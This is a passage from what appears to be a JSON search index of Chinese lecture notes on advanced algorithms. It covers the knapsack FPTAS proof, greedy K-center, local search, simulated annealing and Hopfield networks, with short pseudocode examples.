\u7ea7\u522b</p> <p>Key-point</p> <p>\u7ed9\u5b9a\u60f3\u8981\u7684\u6bd4\u4f8b\\(\\varepsilon\\),\u53d6\\(b=\\dfrac{\\varepsilon v_{max}}{n}\\) \u5c06\u8f93\u5165\u7684\u5168\u4f53\u4ef7\u503c\u540c\u65f6\u7f29\u653e\u4e00\u4e2a\u6bd4\u4f8b\\(b\\),\u4f7f\u5f97\u6700\u5927\u4ef7\u503c\u4e3a\\(n\\)\u7684\u591a\u9879\u5f0f\u7ea7\u522b\uff0c\u505a\u5411\u4e0a(\u6216\u8005\u5411\u4e0b)\u53d6\u6574\uff0c\u7136\u540e\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u505a\u6cd5\uff0c\u5f97\u5230\u6700\u4f18\u89e3\\(v\\);\u6700\u540e\u518d\u5c06\u7ed3\u679c\u653e\u5927\u56de\u6765\uff0c\u6211\u4eec\u76f8\u4fe1\u653e\u5927\u56de\u6765\u7684\u4ef7\u503c\u548c\u539f\u4ef7\u503c\u662f\u63a5\u8fd1\u7684\uff0c\u5373\\(bv\\)\u662f\u4e00\u4e2a\u8fd1\u4f3c\u89e3\u3002</p> <p>\u53ef\u4ee5\u8bc1\u660e\u4e0a\u8ff0\u7b97\u6cd5\u662f 0-1 \u80cc\u5305\u7684\u4e00\u4e2aFPTAS\u7b97\u6cd5</p> <p>\u9996\u5148\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u663e\u7136\u7684\uff0c\u6211\u4eec\u7f29\u5c0f\u4ef7\u503c\u540e\u7684\u7684\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\u662f </p> \\[     b=\\dfrac{\\varepsilon v_{max}}{n} \\] \\[     O(n^2 \\cdot \\dfrac{v_{max}}{b})=O(n^2 \\cdot \\dfrac{n}{\\varepsilon})=O(\\dfrac{n^3}{\\varepsilon}) \\] <p>\u6ee1\u8db3\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u8981\u6c42\uff1b</p> <p>\u6211\u4eec\u7528\u591a\u9879\u5f0f\u7b97\u6cd5\u89e3\u51b3\u4e86\\(v_i'\\)\u4ef7\u503c\u4e0b\u7684\u95ee\u9898\uff1a</p> <p>\u6211\u4eec\u8fd8\u9700\u8981\u5173\u6ce8\u7ecf\u8fc7\u7f29\u653e\u518d\u653e\u5927\u4e4b\u540e\uff0c\u539f\u672c\u4ef7\u503c\u7684\u53d8\u5316\u662f\u600e\u4e48\u6837\u7684\u5373 \\(v_i' = \\lceil v_i / b \\rceil b\\) \u548c \\(v_i\\) \u662f\u63a5\u8fd1\u7684\u3002\u4e8b\u5b9e\u4e0a\u56e0\u4e3a\u5728\u5411\u4e0a\u53d6\u6574\u65f6\u6700\u591a\u53ea\u4f1a\u52a0\u4e0a 1\uff0c\u56e0\u6b64\u6211\u4eec\u6709\uff1a</p> \\[ v_i \\leqslant v_i' \\leqslant v_i + b. \\] <p>\u8bbe\u5bf9\u4e8e \\(v_1, \\ldots, v_n\\) \u800c\u8a00\u7684\u6700\u4f18\u7269\u54c1\u96c6\u5408\u4e3a \\(S^*\\)\uff0c\u800c\u5bf9\u4e8e \\(v_1', \\ldots, v_n'\\) \u800c\u8a00\u7684\u6700\u4f18\u7269\u54c1\u96c6\u5408\u4e3a \\(S\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709\uff1a</p> \\[ \\sum_{i \\in S} v_i' \\geqslant \\sum_{i \\in S^*} v_i'. \\] <p>\u8fd9\u662f\u56e0\u4e3a \\(S\\) \u662f \\(v_1', \\ldots, v_n'\\) \u7684\u6700\u4f18\u89e3\uff0c\u800c \\(S^*\\) \u662f\u4e00\u4e2a\u53ef\u884c\u89e3\u3002\u7136\u540e\u7ed3\u5408\u4e0a\u8ff0\u542b\u5165\u7684\u4e0d\u7b49\u5f0f\u6211\u4eec\u6709\u5982\u4e0b\u7b49\u5f0f\u94fe\uff1a</p> \\[ \\sum_{i \\in S^*} v_i \\leqslant \\sum_{i \\in S^*} v_i' \\leqslant \\sum_{i \\in S} (v_i + b) \\leqslant \\sum_{i \\in S} v_i + nb = \\sum_{i \\in S} v_i + \\varepsilon v_{\\max}  \\] <p>\u6bd4\u8f83\u9996\u5c3e\uff0c\u53ea\u8981\u80fd\u4f30\u8ba1\u51fa \\(v_{\\max}\\) \u548c \\(\\sum_{i \\in S} v_i\\) \u7684\u5173\u7cfb\uff0c\u6211\u4eec\u5c31\u80fd\u5f97\u5230\u8fd1\u4f3c\u5316\u7684\u4e0a\u754c\u3002\u663e\u7136$v_{max} \\leqslant \\sum_{i \\in S^*} v_i $</p> \\[ (1 -  \\varepsilon) \\sum_{i \\in S^*} v_i = (1 -  \\varepsilon) OPT \\leqslant  \\sum_{i \\in S} v_i\u3002 \\] <p>\u56e0\u6b64\u6211\u4eec\u7684\u8fd1\u4f3c\u5316\u6ee1\u8db3 FPTAS \u7684\u8981\u6c42\u3002</p>"},{"location":"NOTE/ADS/wk10/#k-center","title":"K-Center\u95ee\u9898","text":"<p>Greedy-KCenter\u95ee\u9898\u7684\u7684\u89e3\u4e0d\u5927\u4e8e\u6700\u4f18\u89e3\u7684\u4e24\u500d\uff0c\u5373</p> \\[     A(I) \\leqslant 2 \\cdot OPT(I) \\] <p>\u8bc1\u660e\uff1a\u5982\u679c\u8be5\u7b97\u6cd5\u7684K\u4e2a\u4e2d\u5fc3\u521a\u597d\u5728\u6700\u4f18\u89e3\u7684\u5706\u91cc\u9762\uff0c\u8bc1\u6bd5\uff1b\u5982\u679c\u4e0d\u5728\uff0c\u90a3\u4e48\u5176\u81f3\u5c11\u6709\u4e24\u4e2a\u5728\u540c\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u5706\u91cc\u9762\uff0c\u7531\u4e8e\u6bcf\u6b21\u9009\u7684\u90fd\u662f\u6700\u8fdc\u7684\uff0c\u6240\u4ee5\u8fd9\u4e24\u4e2a\u70b9(u,v)\u7684\u8ddd\u79bb\u5927\u4e8e\u5176\u89e3\u3002</p> \\[     2OPT(I) \\geqslant d(u,v)  \\geqslant A(I) \\] <p>\u4e5f\u8bc1\u6bd5\u3002</p>"},{"location":"NOTE/ADS/wk11/","title":"\u5c40\u90e8\u641c\u7d22","text":"<p> \u7ea6 3466 \u4e2a\u5b57  39 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 12 \u5206\u949f</p> <p>\u6614\u5b5f\u6bcd\uff0c\u62e9\u90bb\u5904</p> <p>\u5f15\u5165</p> <p>\u5982\u679c\u6211\u4eec\u4f4d\u4e8e\u4e00\u5ea7\u5c71\u4e0a\uff0c\u6240\u62e5\u6709\u7684\u4fe1\u606f\u53ea\u6709\u6211\u4eec\u5468\u56f4\u7684\u5730\u5f62\uff0c\u73b0\u5728\u6211\u4eec\u8981\u4e0b\u5c71\uff0c\u7406\u6240\u5e94\u5f53\u7684\uff0c\u6211\u4eec\u4f1a\u9009\u62e9\u5f53\u524d\u6240\u80fd\u770b\u5230\u7684\u6700\u4f4e\u7684\u4f4d\u7f6e\u524d\u8fdb\uff0c\u5f53\u7136\uff0c\u8fd9\u6837\u7684\u9009\u62e9\u5e76\u4e0d\u4e00\u5b9a\u80fd\u591f\u4fdd\u8bc1\u6211\u4eec\u6700\u7ec8\u80fd\u591f\u5230\u8fbe\u5c71\u811a\u4e0b\uff0c\u6709\u53ef\u80fd\u53ea\u662f\u5230\u8fbe\u4e00\u4e2a\u5c71\u8c37\uff1b\u4f46\u662f\u6709\u65f6\u5019\u8fd9\u79cd\u65b9\u6cd5\u662f\u6709\u6548\u7684\u3002</p> <p>\u5c40\u90e8\u641c\u7d22\uff08Local Search\uff09\u662f\u4e00\u79cd\u5e38\u7528\u7684\u4f18\u5316\u65b9\u6cd5\uff0c\u4e3b\u8981\u7528\u4e8e\u6c42\u89e3\u5927\u89c4\u6a21\u7684\u4f18\u5316\u95ee\u9898\uff0c\u5c24\u5176\u662f\u90a3\u4e9b\u89e3\u7a7a\u95f4\u8f83\u5927\u4e14\u4e0d\u5bb9\u6613\u901a\u8fc7\u5168\u5c40\u641c\u7d22\u627e\u5230\u6700\u4f18\u89e3\u7684\u95ee\u9898\u3002\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4ece\u4e00\u4e2a\u521d\u59cb\u89e3\u51fa\u53d1\uff0c\u5728\u5f53\u524d\u89e3\u7684\u90bb\u57df\u4e2d\u4e0d\u65ad\u8fdb\u884c\u63a2\u7d22\uff0c\u4ee5\u5bfb\u627e\u66f4\u597d\u7684\u89e3\uff0c\u76f4\u5230\u6ee1\u8db3\u67d0\u4e9b\u505c\u6b62\u6761\u4ef6\u3002</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u5c40\u90e8\u641c\u7d22\u7684\u57fa\u672c\u6d41\u7a0b\u5305\u62ec\u4ee5\u4e0b\u51e0\u4e2a\u6b65\u9aa4\uff1a</p> <ol> <li>\u521d\u59cb\u5316\uff1a\u9009\u62e9\u4e00\u4e2a\u521d\u59cb\u89e3\u3002</li> <li>\u90bb\u57df\u641c\u7d22\uff1a\u901a\u8fc7\u67d0\u79cd\u65b9\u5f0f\u751f\u6210\u5f53\u524d\u89e3\u7684\u90bb\u57df\u89e3\uff0c\u5373\u5728\u5f53\u524d\u89e3\u7684\u57fa\u7840\u4e0a\u8fdb\u884c\u5fae\u5c0f\u7684\u6539\u53d8\uff0c\u5f97\u5230\u4e00\u7ec4\u76f8\u4f3c\u7684\u89e3\u3002</li> <li>\u9009\u62e9\u6700\u4f18\u90bb\u57df\u89e3\uff1a\u4ece\u90bb\u57df\u89e3\u4e2d\u9009\u62e9\u4e00\u4e2a\u201c\u66f4\u4f18\u201d\u7684\u89e3\uff0c\u4f5c\u4e3a\u65b0\u7684\u5f53\u524d\u89e3\u3002</li> <li>\u8fed\u4ee3\uff1a\u91cd\u590d\u90bb\u57df\u641c\u7d22\u548c\u9009\u62e9\u6700\u4f18\u90bb\u57df\u89e3\u7684\u6b65\u9aa4\uff0c\u76f4\u5230\u6ee1\u8db3\u505c\u6b62\u6761\u4ef6\uff08\u5982\u8fbe\u5230\u6700\u5927\u8fed\u4ee3\u6b21\u6570\u3001\u89e3\u7684\u6539\u8fdb\u8fbe\u5230\u4e00\u5b9a\u7a0b\u5ea6\u7b49\uff09\u3002</li> </ol> <p>\u5c40\u90e8\u641c\u7d22\u901a\u5e38\u7528\u4e8e\u6c42\u89e3 \u7ec4\u5408\u4f18\u5316\u95ee\u9898 \uff08\u5982\u65c5\u884c\u5546\u95ee\u9898\u3001\u56fe\u7740\u8272\u95ee\u9898\u7b49\uff09\uff0c\u5c24\u5176\u5728\u641c\u7d22\u7a7a\u95f4\u5e9e\u5927\u7684\u60c5\u51b5\u4e0b\uff0c\u5b83\u901a\u8fc7\u805a\u7126\u5728\u8f83\u5c0f\u7684\u5c40\u90e8\u533a\u57df\u5185\u8fdb\u884c\u641c\u7d22\uff0c\u80fd\u591f\u5728\u8f83\u77ed\u7684\u65f6\u95f4\u5185\u627e\u5230\u4e00\u4e2a\u8f83\u597d\u7684\u89e3\uff0c\u5c3d\u7ba1\u8be5\u89e3\u4e0d\u4e00\u5b9a\u662f\u5168\u5c40\u6700\u4f18\u3002</p> <p>\u5c40\u90e8\u641c\u7d22\u7684\u4e00\u4e9b\u5e38\u89c1\u53d8\u79cd\u5305\u62ec\uff1a</p> <ul> <li>\u722c\u5c71\u7b97\u6cd5\uff08Hill Climbing\uff09\uff1a\u4e00\u79cd\u7b80\u5355\u7684\u5c40\u90e8\u641c\u7d22\u65b9\u6cd5\uff0c\u901a\u8fc7\u9009\u62e9\u90bb\u57df\u4e2d\u6700\u597d\u7684\u89e3\u9010\u6b65\u4f18\u5316\uff0c\u76f4\u5230\u6ca1\u6709\u66f4\u597d\u7684\u89e3\u4e3a\u6b62\u3002</li> <li>\u6a21\u62df\u9000\u706b\uff08Simulated Annealing\uff09\uff1a\u5728\u722c\u5c71\u7b97\u6cd5\u7684\u57fa\u7840\u4e0a\u5f15\u5165\u4e86\u968f\u673a\u6027\uff0c\u5141\u8bb8\u63a5\u53d7\u8f83\u5dee\u7684\u89e3\uff0c\u4ece\u800c\u907f\u514d\u9677\u5165\u5c40\u90e8\u6700\u4f18\u89e3\u3002</li> <li>\u7981\u5fcc\u641c\u7d22\uff08Tabu Search\uff09\uff1a\u901a\u8fc7\u7ef4\u62a4\u4e00\u4e2a\u7981\u5fcc\u8868\u6765\u8bb0\u5f55\u5df2\u7ecf\u8bbf\u95ee\u8fc7\u7684\u89e3\uff0c\u9632\u6b62\u7b97\u6cd5\u53cd\u590d\u8bbf\u95ee\u5df2\u63a2\u7d22\u8fc7\u7684\u533a\u57df\uff0c\u4ece\u800c\u63d0\u9ad8\u641c\u7d22\u6548\u7387\u3002</li> </ul> <p>\u5c40\u90e8\u641c\u7d22\u7684\u4f18\u70b9\u662f\u8ba1\u7b97\u6548\u7387\u9ad8\u3001\u5b9e\u73b0\u7b80\u5355\uff0c\u4f46\u5176\u7f3a\u70b9\u662f\u5bb9\u6613\u9677\u5165\u5c40\u90e8\u6700\u4f18\u89e3(\u5230\u8fbe\u4e86\u5c71\u8c37\u800c\u4e0d\u662f\u5c71\u5e95)\u3002</p>"},{"location":"NOTE/ADS/wk11/#_2","title":"\u5c40\u90e8\u641c\u7d22\u7684\u6846\u67b6","text":"<p>\u5c40\u90e8\u6027(Locality)</p> <ul> <li> <p>\u9700\u8981\u5728neighborhood\u4e2d\u8fdb\u884c\u641c\u7d22\uff0c\u5373\u5728\u53ef\u884c\u96c6\u4e2d\u7684\u90bb\u57df\u8fdb\u884c\u641c\u7d22</p> </li> <li> <p>\u9700\u8981\u4fdd\u8bc1\u5c40\u90e8\u6700\u4f18\u662f \u81ea\u8eab\u90bb\u57df \u7684\u5168\u5c40\u6700\u4f18</p> </li> </ul> <p>\u641c\u7d22</p> <ul> <li> <p>\u4ece\u4e00\u4e2a\u53ef\u884c\u89e3\u5f00\u59cb\uff0c\u6bcf\u4e00\u6b21\u8fed\u4ee3\u90fd\u4f1a\u5728\u5f53\u524d\u89e3\u7684\u90bb\u57df\u4e2d\u9009\u62e9\u4e00\u4e2a\u66f4\u597d\u7684\u89e3</p> </li> <li> <p>\u8fbe\u5230\u5c40\u90e8\u6700\u4f18\u5f53\u4e14\u4ec5\u5f53\u90bb\u57df\u5185\u6ca1\u6709\u66f4\u597d\u7684\u89e3</p> </li> </ul>"},{"location":"NOTE/ADS/wk11/#_3","title":"\u4f2a\u4ee3\u7801","text":"<p>S \\(\\sim\\) S' : S' is a neighboring solution of S, whree S' can be obtained by a slight modification of S.</p> <p>\u5373\u5bf9S\u8fdb\u884c\u4e00\u6b21\u5c0f\u7684\u6539\u53d8\uff0c\u5f97\u5230S'\u3002</p> <p>N(S): neighborhood of S \u2013 the set { S': S \\(\\sim\\) S' }.</p> <pre><code>SolutionType Gradient_descent()\n{   Start from a feasible solution S \uf0ce FS ;\n    MinCost = cost(S);\n    while (1) {\n        S\u2019 = Search( N(S) ); /* find the best S\u2019 in N(S) */\n        CurrentCost = cost(S\u2019);\n        if ( CurrentCost &lt; MinCost ) {\n            MinCost = CurrentCost;    S = S\u2019;\n        }\n        else  break;\n    }\n    return S;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk11/#_4","title":"\u70b9\u96c6\u8986\u76d6\u95ee\u9898","text":"<p>Vertex Cover Problem</p> <p>\u7ed9\u5b9a\u4e00\u4e2a\u65e0\u5411\u56fe\\(G=(V,E)\\)\uff0c\u4ee5\u53ca\u4e00\u4e2a\u6b63\u6574\u6570\\(K\\)\uff0c\u662f\u5426\u5b58\u5728V\u7684\u4e00\u4e2a\u5b50\u96c6\\(C\\)\uff0c\u4f7f\u5f97\\(C\\)\u4e2d\u70b9\u7684\u4e2a\u6570\u4e0d\u8d85\u8fc7\\(K\\)\uff0c\u4e14\u5bf9\u4e8e\u6bcf\u4e00\u6761\u8fb9\\((u,v)\\) \\(\\in\\) \\(E\\)\uff0c\u81f3\u5c11\u6709\u4e00\u4e2a\u7aef\u70b9\u5728\\(C\\)\u4e2d\u3002</p> <p>Vertex cover problem (optimization)</p> <p>\u5728\u70b9\u96c6\u8986\u76d6\u95ee\u9898\u7684\u57fa\u7840\u4e0a\uff0c\u627e\u5230\u6700\u5c0f\u7684\u70b9\u96c6\u8986\u76d6\u3002</p> <p>\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d</p> <ul> <li>Feasible solution(\\(\\mathcal{FS}\\)): \u6240\u6709\u70b9\u96c6\u8986\u76d6\u7684\u96c6\u5408</li> <li>Cost(S) = |S|</li> <li>S \\(\\sim\\) S' </li> </ul> <p>\u5728\u70b9\u96c6\u8986\u76d6\u4e2d\uff0c\u6bcf\u4e00\u4e2a\u70b9\u96c6\u8986\u76d6S\u81f3\u591a\u6709|V|\u4e2a\u90bb\u5c45\uff0c\u5373N(S)\u7684\u5927\u5c0f\u662f\u6709\u9650\u7684\u3002</p> <ul> <li>search: Start from S = V; delete a node and check if S' is a vertex cover with a smaller cost.</li> </ul> <p>Example</p> <p></p> <p>Case0,\u662f\u6b63\u786e\u7684\uff0c\u4f9d\u6b21\u5220\u53bb\u6240\u6709\u70b9\uff0c\u6700\u540e\u5f97\u5230\u7684\u662f\u7a7a\u96c6\uff0c\u662f\u4e00\u4e2a\u70b9\u96c6\u8986\u76d6\u3002</p> <p>Case1,\u662f\u9519\u8bef\u7684\uff0c\u56e0\u4e3a\u5220\u9664\u4e86\u4e00\u4e2a\u70b9\u540e\uff0c\u6211\u4eec\u5c06\u6700\u4f18\u89e3\u5220\u53bb\u4e86\uff1b</p>"},{"location":"NOTE/ADS/wk11/#_5","title":"\u6539\u8fdb","text":"<p>\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u5bb9\u5fcd\u6682\u65f6\u7684\u4ee3\u4ef7\u5347\u9ad8\uff0c\u6709\u53ef\u80fd\u4f1a\u9047\u5230\u4ee3\u4ef7\u964d\u4f4e\u66f4\u597d\u7684\u60c5\u51b5</p> <pre><code>SolutionType Metropolis()\n{   Define constants k and T;\n    Start from a feasible solution S in FS ;\n    MinCost = cost(S);\n    while (1) {\n        S\u2019 = Randomly chosen from N(S); //Adding is allowed\n        CurrentCost = cost(S\u2019);\n        if ( CurrentCost &lt; MinCost ) {\n            MinCost = CurrentCost;    S = S\u2019;\n        }\n        else {\n            With a probability, let S = S\u2019;\n            else  break;\n        }\n    }\n    return S;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk11/#_6","title":"\u6a21\u62df\u9000\u706b","text":"<p>Info</p> <p>\u8fd9\u79cd\u6539\u8fdb\u7684\u65b9\u6cd5\u7531Metropolis\uff0cRosenbluth\uff0cRosenbluth\uff0cTeller\u548cTeller\u4e8e1953\u5e74\u63d0\u51fa\uff0c\u88ab\u79f0\u4e3aMetropolis\u7b97\u6cd5\u3002\u4ed6\u4eec\u5e0c\u671b\u5229\u7528\u7edf\u8ba1\u529b\u5b66\u4e2d\u7684\u539f\u7406\u6a21\u62df\u7269\u7406\u7cfb\u7edf\u7684\u884c\u4e3a\u3002\u5728\u7edf\u8ba1\u7269\u7406\u4e2d\u6709\u4e00\u4e2a\u5047\u8bbe\uff0c\u5f53\u4e00\u4e2a\u7cfb\u7edf\u7684\u80fd\u91cf\u4e3aE\u65f6\uff0c\u5b83\u51fa\u73b0\u7684\u6982\u7387\u4e3a\\(e^{\u2212E/kT}\\)\uff0c\u5176\u4e2d\\(T&gt;0\\)\u662f\u6e29\u5ea6\uff0c\\(k\\)\u662f\u73bb\u5c14\u5179\u66fc\u5e38\u6570\u3002\u8fd9\u4e2a\u5047\u8bbe\u88ab\u79f0\u4e3aBoltzmann\u5206\u5e03\u3002\u663e\u7136\u7684\uff0c\u5f53\\(T\\)\u56fa\u5b9a\u65f6\uff0c\u80fd\u91cf\u8d8a\u4f4e\u7684\u72b6\u6001\u51fa\u73b0\u7684\u6982\u7387\u8d8a\u5927\uff0c\u56e0\u6b64\u4e00\u4e2a\u7269\u7406\u7cfb\u7edf\u4e5f\u6709\u66f4\u5927\u7684\u6982\u7387\u5904\u4e8e\u80fd\u91cf\u4f4e\u7684\u72b6\u6001\u3002\u7136\u540e\u6211\u4eec\u8003\u8651\u6e29\u5ea6T\u7684\u5f71\u54cd\uff0c\u5f53\\(T\\)\u5f88\u5927\u65f6\uff0c\u6839\u636e\u6307\u6570\u51fd\u6570\u7684\u7279\u70b9\uff0c\u4e0d\u540c\u80fd\u91cf\u5bf9\u5e94\u7684\u6982\u7387\u5176\u5b9e\u5dee\u522b\u53ef\u80fd\u4e0d\u662f\u5f88\u5927\uff1b\u4f46\\(T\\)\u8f83\u4f4e\u7684\u65f6\u5019\uff0c\u4e0d\u540c\u7684\u80fd\u91cf\u5bf9\u5e94\u7684\u6982\u7387\u5dee\u522b\u5c31\u4f1a\u5f88\u5927\u3002</p> <p>\u57fa\u4e8e\u73bb\u5c14\u5179\u66fc\u5206\u5e03\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06Metropolis\u7b97\u6cd5\u63cf\u8ff0\u5982\u4e0b\uff1a</p> <ul> <li> <p>\u521d\u59cb\u5316\uff1a\u968f\u673a\u9009\u62e9\u4e00\u4e2a\u53ef\u884c\u89e3 \\(S\\)\uff0c\u8bbe \\(S\\) \u7684\u80fd\u91cf\u4e3a \\(E(S)\\)\uff0c\u5e76\u786e\u5b9a\u4e00\u4e2a\u6e29\u5ea6 \\(T\\)\uff1b</p> </li> <li> <p>\u4e0d\u65ad\u8fdb\u884c\u5982\u4e0b\u6b65\u9aa4\uff1a</p> </li> </ul> <p>(1) \u968f\u673a\u9009\u62e9 \\(S\\) \u7684\u4e00\u4e2a\u90bb\u5c45 \\(S'\\)\uff08\u53ef\u4ee5\u6309\u5747\u5300\u5206\u5e03\u968f\u673a\u9009\u62e9\uff09\uff1b</p> <p>(2) \u5982\u679c \\(E(S') \\leqslant E(S)\\)\uff0c\u5219\u63a5\u53d7 \\(S'\\) \u4f5c\u4e3a\u65b0\u7684\u89e3\uff1b</p> <p>(3) \u5982\u679c \\(E(S') &gt; E(S)\\)\uff0c\u5219\u4ee5\u6982\u7387 \\(e^{-(E(S')-E(S))/kT}\\) \u63a5\u53d7 \\(S\u2032\\) \u4f5c\u4e3a\u65b0\u7684\u89e3\uff1b\u5982\u679c\u63a5\u53d7\u4e86\u5219\u66f4\u65b0\u89e3\uff0c\u7ee7\u7eed\u4e0b\u4e00\u8f6e\u8fed\u4ee3\uff0c\u5426\u5219\u4fdd\u6301\u539f\u89e3 \\(S\\)\uff0c\u7ee7\u7eed\u8fed\u4ee3\u3002</p> <p>\u76f4\u89c2\u5730\u8bf4\uff0cMetropolis\u7b97\u6cd5\u5c31\u662f\u5728\u5f53\u524d\u89e3S\u7684\u90bb\u5c45\u4e2d\u968f\u673a\u9009\u62e9\u4e00\u4e2a\u89e3S\u2032\uff0c\u5982\u679cS\u2032\u7684\u80fd\u91cf\u66f4\u4f4e\u5219\u63a5\u53d7\uff0c\u5426\u5219\u4ee5\u4e00\u5b9a\u6982\u7387\u63a5\u53d7\u4e00\u4e2a\u66f4\u5dee\u7684\u89e3\u2014\u2014\u8fd9\u5c31\u4f7f\u5f97\u6211\u4eec\u6709\u53ef\u80fd\u8df3\u51fa\u4e00\u4e2a\u5c40\u90e8\u6700\u4f18\u89e3\u3002\u5f53\u7136\u6709\u4e00\u4e2a\u6ce8\u610f\u7684\u95ee\u9898\u662f\uff0c\u6211\u4eec\u4e0a\u9762\u6ca1\u6709\u5199\u7b97\u6cd5\u7684\u505c\u6b62\u70b9\uff0c\u5b9e\u9645\u4e0a\u8fdb\u884c\u5230\u4e00\u4e2a\u6ee1\u610f\u7684\u7ed3\u679c\u4e2d\u65ad\u7b97\u6cd5\u5373\u53ef\u3002Metropolis\u7b49\u4eba\u8bc1\u660e\u4e86\u4ed6\u4eec\u7684\u7b97\u6cd5\u5177\u6709\u5982\u4e0b\u6027\u8d28</p> <p>Note</p> <p>\u8bbe \\(Z = \\sum_{S } e^{\u2212E(S)/kT}\\)\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f\u72b6\u6001 \\(S\\)\uff0c\u8bb0\\(f_S(t)\\)\u4e3a\u5728\\(t\\)\u8f6e\u8fed\u4ee3\u4e2d\u9009\u5230\u4e86\u72b6\u6001\\(S\\)\u7684\u6bd4\u4f8b\uff0c\u5219\u5f53\\(t \\to \\infty\\)\u65f6\uff0c\\(f_S(t) \\text{(\u4ee5\u6982\u73871\u6536\u655b)} \\to e^{\u2212E(S)/kT}/Z\\)\u3002</p>"},{"location":"NOTE/ADS/wk11/#hopfield","title":"Hopfield \u795e\u7ecf\u7f51\u7edc","text":"<p>Hopfield\u795e\u7ecf\u7f51\u7edc\u662f\u4e00\u79cd\u5168\u8fde\u63a5\u7684\u53cd\u9988\u795e\u7ecf\u7f51\u7edc\uff0c\u4e8e1982\u5e74\u7531J.Hopfeld\u6559\u6388\u63d0\u51fa;Hopfield\u795e\u7ecf\u7f51\u7edc\u6709\u4e00\u4e2a\u80fd\u91cf\u51fd\u6570\uff0c\u5982\u679c\u80fd\u5c06\u80fd\u91cf\u51fd\u6570\u4e0e\u4e00\u4e2a\u4f18\u5316\u95ee\u9898\u7ed1\u5b9a\uff0c\u90a3\u4e48Hopfield\u795e\u7ecf\u7f51\u7edc\u5c31\u53ef\u4ee5\u7528\u6765\u89e3\u51b3\u8fd9\u4e2a\u4f18\u5316\u95ee\u9898\uff0c\u4f8b\u5982\u65c5\u884c\u5546\u95ee\u9898</p> <p>Definition</p> <ol> <li> <p>Hopfield \u795e\u7ecf\u7f51\u7edc\u53ef\u4ee5\u62bd\u8c61\u4e3a\u4e00\u4e2a\u65e0\u5411\u56fe \\( G = (V, E) \\)\uff0c\u5176\u4e2d \\( V \\) \u662f\u795e\u7ecf\u5143\u7684\u96c6\u5408\uff0c\\( E \\) \u662f\u795e\u7ecf\u5143\u4e4b\u95f4\u7684\u8fde\u63a5\u5173\u7cfb\uff0c\u5e76\u4e14\u6bcf\u6761\u8fb9 \\( e \\) \u90fd\u6709\u4e00\u4e2a\u6743\u91cd \\( w_e \\)\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u6570\u6216\u8d1f\u6570\uff1a</p> </li> <li> <p>Hopfield \u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e2a\u72b6\u6001 (configuration) \u662f\u6307\u7f51\u7edc\u4e2d\u6bcf\u4e2a\u795e\u7ecf\u5143 (\u5373\u56fe\u7684\u9876\u70b9) \u7684\u72b6\u6001\u7684\u4e00\u4e2a\u53d6\u503c\uff0c\u503e\u5411\u503c\u80fd\u4e3a 1 \u6216 -1\u3002\u6211\u4eec\u8bb0\u9876\u70b9u\u7684\u72b6\u6001\u4e3a \\( s_u \\)\u3002</p> </li> <li> <p>\u5982\u679c\u5bf9\u4e8e\u8fb9 \\( e = (u, v) \\)\uff0c\u6211\u4eec\u5b9a\u4e49 \\( c_e = w_e s_u s_v \\)\uff0c\u6211\u4eec\u5e0c\u671b\\(c_e &lt; 0\\)</p> </li> <li> <p>\u6211\u4eec\u5c06\u4e0a\u8ff0\u6761\u4ef6\u7684\u8fb9\u79f0\u4e3a\u201c\u597d\u201d\u7684 (good)\uff0c\u800c\u79f0\u4e3a\u201c\u574f\u201d\u7684 (bad)\u3002</p> </li> <li> <p>\u5982\u679c\u6211\u4eec\u4e00\u70b9\u662f\u201c\u6ee1\u610f\u7684\u201d (satisfied)\uff0c\u5f53\u4e14\u4ec5\u5f53\u5b83\u6240\u8fde\u63a5\u7684\u6240\u6709\u70b9\u4e2d\uff0c\u597d\u8fb9\u7684\u6743\u91cd\u7edd\u5bf9\u503c\u5927\u4e8e\u7b49\u4e8e\u574f\u8fb9\u7684\uff0c\u5373</p> </li> </ol> \\[ \\sum_{(u,v) \\in E} w_{e(u,v)} s_v s_u &lt; 0, \\] <p>\u53cd\u4e4b\uff0c\u5982\u679c\u4e0d\u6ee1\u8db3\u8fd9\u4e00\u6761\u4ef6\uff0c\u6211\u4eec\u79f0\u5176\u4e3a\u201c\u4e0d\u6ee1\u610f\u7684\u201d (unsatisfied)\u3002</p> <p>6.\u6700\u540e\uff0c\u6211\u4eec\u79f0\u4e00\u4e2a\u6784\u578b\u662f\u201c\u7a33\u5b9a\u7684\uff08stable\uff09\u201d\uff0c\u5f53\u4e14\u4ec5\u5f53\u6240\u6709\u7684\u70b9\u90fd\u662f\u6ee1\u610f\u7684</p> <p></p>"},{"location":"NOTE/ADS/wk11/#_7","title":"\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5","text":"<p>\u5982\u679c\u8981\u8bbe\u8ba1\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\uff0c\u6211\u60f3\u6211\u4eec\u6709\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u76f4\u63a5\u7684\u65b9\u5f0f\u3002\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u81ea\u7136\u5730\u5c31\u4f1a\u5b9a\u4e49\u4e00\u4e2a\u6784\u578b\u7684\u90bb\u5c45\u5c31\u662f\u5c06\u5176\u4e2d\u4e00\u4e2a\u70b9\u7684\u72b6\u6001\u53d6\u53cd\u5f97\u5230\u7684\u65b0\u6784\u578b\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbe\u8ba1\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4e86\uff1a\u6211\u4eec\u4ece\u4e00\u4e2a\u968f\u673a\u521d\u59cb\u6784\u578b\u5f00\u59cb\uff0c\u7136\u540e\u68c0\u67e5\u6bcf\u4